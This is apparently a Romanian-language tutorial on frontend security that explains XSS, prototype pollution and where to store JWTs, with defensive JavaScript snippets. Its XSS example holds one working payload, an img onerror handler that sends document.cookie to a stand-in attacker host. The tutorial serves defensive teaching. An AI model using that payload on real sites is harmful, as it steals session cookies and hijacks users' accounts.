Securitatea aplicațiilor frontend este prima linie de apărare împotriva furtului de date sensibile, deturnării sesiunilor de utilizator și atacurilor de tip XSS (Cross-Site Scripting) sau Prototype Pollution. O vulnerabilitate JavaScript pe client poate compromite întreaga bază de utilizatori, chiar dacă serverul backend este aparent securizat.
// INTRARE DE LA UTILIZATOR (Comentariu malițios):
const comentariuUtilizator = '<img src="x" onerror="fetch(\'https://hacker.ro/fur?c=\'+document.cookie)">';
// PERICOL MAXIM (VULNERABIL LA XSS):
// document.getElementById('comentarii').innerHTML = comentariuUtilizator; // Scriptul se execută instant!
// METODA 1: Pentru text simplu (convertește totul în text sigur, fără execuție):
document.getElementById('comentarii').textContent = comentariuUtilizator;
// METODA 2: Dacă AI NEVOIE să permiți HTML bogat (bold, linkuri), sanitizează obligatoriu cu DOMPurify:
// import DOMPurify from 'dompurify';
const htmlCurat = DOMPurify.sanitize(comentariuUtilizator);
document.getElementById('comentarii').innerHTML = htmlCurat; // Tagul malitios onerror este eliminat!
Prototype Pollution apare atunci când un script îmbină recursiv obiecte (deep merge) fără a filtra proprietățile magice __proto__ sau constructor.prototype, injectând proprietăți malițioase în toate obiectele din aplicație:
// Crearea unui dicționar sigur fără prototip (nu poate fi poluat!):
const dictionarSigur = Object.create(null);
dictionarSigur['__proto__'] = 'valoare'; // Nu afectează restul obiectelor din JavaScript!
// Sau înghețarea prototipului de bază în mediul de pornire:
Object.freeze(Object.prototype);
Unde stochezi în siguranță Token-urile de Autentificare (JWT)?
| Locație de Stocare | Vulnerabilitate la XSS | Vulnerabilitate la CSRF | Recomandare de Securitate |
|---|---|---|---|
localStorage / sessionStorage |
MAXIMĂ: Orice script XSS injectat poate fura token-ul prin localStorage.getItem(). |
Nu este afectat direct. | Nerecomandat pentru date sensibile de autentificare pe termen lung. |
| Cookie HTTP-Only cu SameSite | ZERO: JavaScript nu poate citi cookie-urile marcate HttpOnly. |
Redusă complet prin SameSite=Lax sau SameSite=Strict. |
Recomandarea oficială OWASP pentru sesiuni de utilizator. |